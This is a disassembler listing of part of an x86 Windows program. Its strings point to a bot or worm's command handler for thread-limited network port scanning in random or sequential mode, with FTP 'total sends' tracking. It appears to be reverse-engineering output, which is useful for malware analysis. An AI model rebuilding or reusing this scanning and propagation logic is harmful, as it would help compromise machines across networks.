; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4225A0	proc near		; CODE XREF: sub_4020BDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_4225A0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4225D0	proc near		; CODE XREF: sub_4018E3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_436882
sub_4225D0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4225F0	proc near		; CODE XREF: sub_4013DEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401ED3
		add	esp, 8
		retn	8
sub_4225F0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422620	proc near		; CODE XREF: sub_4018EDj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_422620	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422640	proc near		; CODE XREF: sub_4018E8j
		mov	eax, [ecx]
		retn
sub_422640	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422660	proc near		; CODE XREF: sub_4019ABj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40182A
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_422660	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422690	proc near		; CODE XREF: sub_401631j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401A78
		pop	ecx
		retn	4
sub_422690	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4226B0	proc near		; CODE XREF: sub_401E60j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401F9B
		pop	ecx
		retn	4
sub_4226B0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4226D0	proc near		; CODE XREF: sub_401A2Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_4226EB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_4226EB:				; CODE XREF: sub_4226D0+11j
		retn
sub_4226D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422700	proc near		; CODE XREF: sub_40201Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_422700
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	19h
		call	sub_4011CC
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_422741
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_401677


loc_422741:				; CODE XREF: sub_422700+33j
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_422700	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS	KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422790	proc near		; CODE XREF: sub_401ED3j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_422790
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	15h
		call	sub_4011CC
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_4227D1
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_4014C9


loc_4227D1:				; CODE XREF: sub_422790+33j
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_422790	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422800	proc near		; CODE XREF: sub_401A78j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		call	sub_4019BA
		retn
sub_422800	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422820	proc near		; CODE XREF: sub_401F9Bj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		mov	eax, [ecx]
		call	dword ptr [eax]
		retn
sub_422820	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422840	proc near		; CODE XREF: sub_401677j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		push	edi
		call	sub_4014C9
		mov	eax, [edi+15h]
		pop	edi
		mov	[esi+15h], eax
		mov	eax, esi
		pop	esi
		retn	4
sub_422840	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422870	proc near		; CODE XREF: sub_4019BAj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A6E
		test	[esp+4+arg_0], 1
		jz	short loc_422888
		push	esi
		call	sub_436882
; ---------------------------------------------------------------------------
		add	esp, 4


loc_422888:				; CODE XREF: sub_422870+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_422870	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4228A0	proc near		; CODE XREF: sub_401AE1j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4228A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	9
		push	3
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+60h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		mov	dword_4D5F8B, offset aAsn ; "asn"
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+8D008h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447118
		call	sub_401591
sub_4228A0	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	edx, [esp+2Ch]
		push	1
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+8D036h]
		push	eax
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	0Eh
		push	1
		push	3
		lea	ecx, [esp+2Ch]
		push	13h
		push	ecx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+8D064h]
		push	eax
		push	edx
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+8D092h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+44h]
		push	6
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		add	esi, 8D0C0h
		push	eax
		push	esi
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422AF0	proc near		; CODE XREF: sub_40138Ej

var_78D		= byte ptr -78Dh
var_78C		= dword	ptr -78Ch
var_788		= byte ptr -788h
var_780		= dword	ptr -780h
var_770		= byte ptr -770h
var_760		= byte ptr -760h
var_6E0		= byte ptr -6E0h
var_660		= dword	ptr -660h
var_65C		= dword	ptr -65Ch
var_658		= dword	ptr -658h
var_654		= dword	ptr -654h
var_650		= dword	ptr -650h
var_644		= dword	ptr -644h
var_640		= dword	ptr -640h
var_638		= dword	ptr -638h
var_634		= dword	ptr -634h
var_630		= dword	ptr -630h
var_624		= byte ptr -624h
var_60C		= byte ptr -60Ch
var_40C		= byte ptr -40Ch
var_20C		= byte ptr -20Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_422AF0
		push	eax
		mov	large fs:0, esp
		sub	esp, 784h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+79Ch+arg_0]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+8D008h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422BBA
		push	3
		call	sub_401483
		add	esp, 4
		test	eax, eax
		jle	short loc_422B8D
		push	3
		call	sub_401D8E
		mov	eax, dword_50BB50[eax*8]
		add	esp, 4
		push	eax
		nop
		call	near ptr 71AB3F41h
		push	eax
		push	offset aScanCipS ; "scan: cip (%s)"
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 18h
		mov	al, 1
		jmp	loc_422EEB
; ---------------------------------------------------------------------------


loc_422B8D:				; CODE XREF: sub_422AF0+52j
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	offset aScanNotStarted ; "scan:	not started"
		push	edx
		push	eax
		mov	ecx, offset byte_4D6075
		call	sub_401118
		mov	al, 1
		jmp	loc_422EEB
; ---------------------------------------------------------------------------


loc_422BBA:				; CODE XREF: sub_422AF0+40j
		lea	ecx, [ebp+8D0C0h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422C60
		mov	edi, dword_4D6370
		push	offset asc_443600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 0
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	ebx, eax
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		cmp	edi, ebx
		jl	loc_42326D
		mov	edx, dword_44764F
		push	edi
		push	edx
		push	offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d"
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 1Ch
		mov	al, 1
		jmp	loc_422EEB
; ---------------------------------------------------------------------------


loc_422C60:				; CODE XREF: sub_422AF0+DFj
		lea	ecx, [ebp+8D064h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_422CE0
		push	eax
		push	3
		call	sub_401D93
		add	esp, 8
		test	eax, eax
		jle	short loc_422CB5
		push	eax
		push	offset aScanStoppedDTh ; "scan:	stopped	(%d threads)"
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 18h
		jmp	loc_422EE9
; ---------------------------------------------------------------------------


loc_422CB5:				; CODE XREF: sub_422AF0+194j
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aScanCouldnTSto ; "scan:	couldn't stop"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D6075
		call	sub_401118
		jmp	loc_422EE9
; ---------------------------------------------------------------------------


loc_422CE0:				; CODE XREF: sub_422AF0+185j
		lea	ecx, [ebp+8D036h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		mov	edi, dword_50FB08
		test	eax, eax
		jnz	loc_422D8E
		push	3
		call	sub_401483
		add	esp, 4
		mov	ebx, eax
		lea	eax, [esp+7A0h+var_788]
		mov	ecx, esi
		push	offset asc_443600 ; " "
		push	2
		push	eax
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 1
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	eax, ebx
		add	esp, 4
		cmp	eax, 1F4h
		lea	ecx, [esp+7A0h+var_788]
		setnle	[esp+7A0h+var_78D]
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, [esp+7A0h+var_78D]
		test	al, al
		jz	loc_422F06
		push	ebx
		push	offset aScanTooManyThr ; "scan:	too many threads (%s)"
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 18h


loc_422D8E:				; CODE XREF: sub_422AF0+20Bj
		lea	ecx, [ebp+8D092h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422EE9
		push	offset asc_443600 ; " "
		lea	eax, [esp+7A4h+var_624]
		push	1
		push	eax
		mov	ecx, esi
		xor	ebx, ebx
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 0Ah
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_624]
		mov	edi, eax
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	eax, dword_444408
		mov	[esp+7A0h+var_78D], bl
		test	eax, eax
		jz	short loc_422E19
		mov	eax, offset dword_444408


loc_422E05:				; CODE XREF: sub_422AF0+327j
		cmp	[eax+8], edi
		jb	short loc_422E0F
		mov	[esp+7A0h+var_78D], 1


loc_422E0F:				; CODE XREF: sub_422AF0+318j
		mov	ecx, [eax+3Ch]
		add	eax, 3Ch
		test	ecx, ecx
		jnz	short loc_422E05


loc_422E19:				; CODE XREF: sub_422AF0+30Ej
		mov	ebp, off_50FBF0
		lea	ecx, [esp+7A0h+var_60C]
		push	offset aScanStats ; "scan: stats:"
		push	ecx
		call	ebp ; sub_69BB85
		mov	eax, dword_444408
		add	esp, 8
		test	eax, eax
		jz	short loc_422E7F
		mov	edi, offset dword_444410


loc_422E3F:				; CODE XREF: sub_422AF0+38Dj
		mov	eax, [edi]
		lea	edx, [edi-26h]
		add	ebx, eax
		push	eax
		push	edx
		lea	eax, [esp+7A8h+var_40C]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	ebp ; sub_69BB85
		lea	ecx, [esp+7B0h+var_40C]
		push	200h
		lea	edx, [esp+7B4h+var_60C]
		push	ecx
		push	edx
		nop
		call	near ptr 77C47920h
		mov	eax, [edi+34h]
		add	edi, 3Ch
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_422E3F


loc_422E7F:				; CODE XREF: sub_422AF0+348j
		push	ebx
		lea	eax, [esp+7A4h+var_40C]
		push	offset aTotalD	; " total: %d"
		push	eax
		call	ebp ; sub_69BB85
		lea	ecx, [esp+7ACh+var_40C]
		push	200h
		lea	edx, [esp+7B0h+var_60C]
		push	ecx
		push	edx
		nop
		call	near ptr 77C47920h
		mov	al, [esp+7B8h+var_78D]
		add	esp, 18h
		test	al, al
		jz	short loc_422ED9
		xor	eax, eax
		lea	ecx, [esp+7A0h+var_60C]
		mov	al, [esi+94h]
		push	eax
		push	ecx
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		push	eax
		push	0
		call	sub_401523
		add	esp, 10h


loc_422ED9:				; CODE XREF: sub_422AF0+3C3j
		lea	edx, [esp+7A0h+var_60C]
		push	edx
		call	sub_4010D2
		add	esp, 4


loc_422EE9:				; CODE XREF: sub_422AF0+1C0j
					; sub_422AF0+1EBj ...
		xor	al, al


loc_422EEB:				; CODE XREF: sub_422AF0+98j
					; sub_422AF0+C5j ...
		mov	ecx, [esp+7A0h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 790h
		retn	4
; ---------------------------------------------------------------------------


loc_422F06:				; CODE XREF: sub_422AF0+26Ej
		push	offset asc_443600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 2
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		or	ebx, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_65C], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, 3
		mov	ecx, eax
		mov	[esp+7A0h+var_4], ebp
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_644], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	ebp
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 4
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_658], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		mov	eax, [esp+7A0h+var_658]
		cmp	eax, ebp
		jnb	short loc_422FE3
		mov	[esp+7A0h+var_658], ebp
		jmp	short loc_422FF3
; ---------------------------------------------------------------------------


loc_422FE3:				; CODE XREF: sub_422AF0+4E8j
		cmp	eax, 3Ch
		jbe	short loc_422FF3
		mov	[esp+7A0h+var_658], 3Ch


loc_422FF3:				; CODE XREF: sub_422AF0+4F1j
					; sub_422AF0+4F6j
		push	offset asc_443600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 5
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_654], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		mov	ecx, [esp+7A0h+var_654]
		mov	eax, 960h
		cmp	ecx, eax
		jbe	short loc_42304C
		mov	[esp+7A0h+var_654], eax


loc_42304C:				; CODE XREF: sub_422AF0+553j
		mov	eax, dword_444408
		mov	[esp+7A0h+var_640], ebx
		test	eax, eax
		mov	[esp+7A0h+var_78C], 0
		jz	loc_42311C
		mov	ebp, offset dword_444408
		jmp	short loc_423072
; ---------------------------------------------------------------------------


loc_42306F:				; CODE XREF: sub_422AF0+602j
		or	ebx, 0FFFFFFFFh


loc_423072:				; CODE XREF: sub_422AF0+57Dj
		push	offset asc_443600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 6
		call	sub_4017E4
		mov	edi, eax
		lea	ecx, [ebp-28h]


loc_42309C:				; CODE XREF: sub_422AF0+5CAj
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_4230C0
		test	al, al
		jz	short loc_4230BC
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_4230C0
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_42309C


loc_4230BC:				; CODE XREF: sub_422AF0+5B6j
		xor	eax, eax
		jmp	short loc_4230C4
; ---------------------------------------------------------------------------


loc_4230C0:				; CODE XREF: sub_422AF0+5B2j
					; sub_422AF0+5C0j
		sbb	eax, eax
		sbb	eax, ebx


loc_4230C4:				; CODE XREF: sub_422AF0+5CEj
		test	eax, eax
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		setz	bl
		call	sub_401226
		test	bl, bl
		jnz	short loc_4230FA
		mov	edx, [esp+7A0h+var_78C]
		mov	eax, [ebp+3Ch]
		add	ebp, 3Ch
		inc	edx
		test	eax, eax
		mov	[esp+7A0h+var_78C], edx
		jnz	loc_42306F
		jmp	short loc_423119
; ---------------------------------------------------------------------------


loc_4230FA:				; CODE XREF: sub_422AF0+5EFj
		mov	ecx, [esp+7A0h+var_78C]
		mov	[esp+7A0h+var_640], ecx
		lea	eax, [ecx+ecx*2]
		lea	eax, [eax+eax*4]
		mov	edx, dword_444408[eax*4]
		mov	[esp+7A0h+var_65C], edx


loc_423119:				; CODE XREF: sub_422AF0+608j
		or	ebx, 0FFFFFFFFh


loc_42311C:				; CODE XREF: sub_422AF0+572j
		mov	eax, [esp+7A0h+var_65C]
		test	eax, eax
		jnz	short loc_42313A
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		push	eax
		push	offset aScanInvalidPor ; "scan:	invalid	port"
		jmp	loc_423255
; ---------------------------------------------------------------------------


loc_42313A:				; CODE XREF: sub_422AF0+635j
		push	offset asc_443600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	offset dword_4437F8
		mov	ecx, eax
		mov	[esp+7A4h+var_4], 7
		call	sub_4013E3
		lea	ecx, [esp+7A0h+var_788]
		mov	edi, eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		test	edi, edi
		jz	loc_423217
		push	offset asc_443600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	5
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 8
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+7A4h+var_770]
		push	10h
		push	ecx
		nop
		call	near ptr 77C3FA76h
		add	esp, 0Ch
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	78h
		mov	ecx, eax
		mov	[esp+7A4h+var_4], 9
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C47660h
		add	esp, 8
		lea	ecx, [esp+7A0h+var_788]
		neg	eax
		sbb	eax, eax
		mov	[esp+7A0h+var_4], ebx
		neg	eax
		mov	[esp+7A0h+var_630], eax
		call	sub_401226
		jmp	loc_423346
; ---------------------------------------------------------------------------


loc_423217:				; CODE XREF: sub_422AF0+688j
		push	offset dword_444544
		mov	ecx, esi
		call	sub_4013E3
		test	eax, eax
		jnz	short loc_423274
		push	offset off_444540
		mov	ecx, esi
		call	sub_4013E3
		test	eax, eax
		jnz	short loc_423274
		push	offset off_44453C
		mov	ecx, esi
		call	sub_4013E3
		test	eax, eax
		jnz	short loc_423274
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		push	eax
		push	offset aScanNoIpSpecif ; "scan:	no ip specified"


loc_423255:				; CODE XREF: sub_422AF0+645j
		mov	al, [esi+94h]
		mov	cl, [esi+93h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D6075
		call	sub_401118


loc_42326D:				; CODE XREF: sub_422AF0+132j
		mov	al, 1
		jmp	loc_422EEB
; ---------------------------------------------------------------------------


loc_423274:				; CODE XREF: sub_422AF0+735j
					; sub_422AF0+745j ...
		mov	ecx, dword_4D608D
		lea	edx, [esp+7A0h+var_78C]
		lea	eax, [esp+7A0h+var_788]
		push	edx
		push	eax
		push	ecx
		mov	[esp+7ACh+var_78C], 10h
		nop
		call	near ptr 71AB951Eh
		push	offset off_444540
		mov	ecx, esi
		call	sub_4013E3
		mov	edx, eax
		mov	eax, [esp+79Ch+var_780]
		neg	edx
		sbb	edx, edx
		push	10h
		and	edx, 0FFFF0100h
		add	edx, 0FFFFh
		and	eax, edx
		push	eax
		mov	[esp+7A4h+var_780], eax
		nop
		call	near ptr 71AB3F41h
		push	eax
		lea	eax, [esp+7A8h+var_770]
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		mov	ecx, esi
		push	offset dword_444544
		call	sub_4013E3
		test	eax, eax
		jz	short loc_42333B
		push	offset off_444540
		mov	ecx, esi
		call	sub_4013E3
		mov	ebp, dword_50FA90
		mov	edi, eax
		neg	edi
		sbb	edi, edi
		lea	ecx, [esp+7A0h+var_770]
		neg	edi
		push	30h
		push	ecx
		add	edi, 2
		call	ebp	; strrchr
		add	esp, 8
		xor	bl, bl
		test	edi, edi
		jle	short loc_42332E


loc_423312:				; CODE XREF: sub_422AF0+83Cj
		test	eax, eax
		jz	short loc_42332E
		lea	edx, [esp+7A0h+var_770]
		push	30h
		push	edx
		mov	byte ptr [eax],	78h
		call	ebp	; strrchr
		add	esp, 8
		inc	bl
		movsx	ecx, bl
		cmp	ecx, edi
		jl	short loc_423312


loc_42332E:				; CODE XREF: sub_422AF0+820j
					; sub_422AF0+824j
		mov	[esp+7A0h+var_630], 1
		jmp	short loc_423346
; ---------------------------------------------------------------------------


loc_42333B:				; CODE XREF: sub_422AF0+7F1j
		mov	[esp+7A0h+var_630], 0


loc_423346:				; CODE XREF: sub_422AF0+722j
					; sub_422AF0+849j
		mov	edx, dword_4D608D
		xor	eax, eax
		mov	al, [esi+93h]
		lea	edi, [esi+2Ah]
		mov	ecx, edi
		mov	[esp+7A0h+var_660], edx
		mov	[esp+7A0h+var_638], 0
		mov	[esp+7A0h+var_634], eax
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+7A4h+var_760]
		push	80h
		push	ecx
		nop
		call	near ptr 77C3FA76h
		mov	eax, [esp+7ACh+var_630]
		add	esp, 0Ch
		test	eax, eax
		mov	[esp+7A0h+var_6E0], 0
		mov	eax, offset aRandom ; "random"
		jnz	short loc_4233A8
		mov	eax, offset aSequential	; "sequential"


loc_4233A8:				; CODE XREF: sub_422AF0+8B1j
		mov	edx, [esp+7A0h+var_644]
		mov	ecx, [esp+7A0h+var_654]
		push	edx
		mov	edx, [esp+7A4h+var_658]
		push	ecx
		mov	ecx, [esp+7A8h+var_65C]
		push	edx
		lea	edx, [esp+7ACh+var_770]
		push	ecx
		push	edx
		push	eax
		mov	eax, [esp+7B8h+var_640]
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	ecx, ds:4443EAh[eax*4]
		push	ecx
		push	offset aScanSSPortScan ; "Scan(%s): %s Port Scan %s:%d - Delay %d"...
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D6075
		call	sub_401848
		push	0
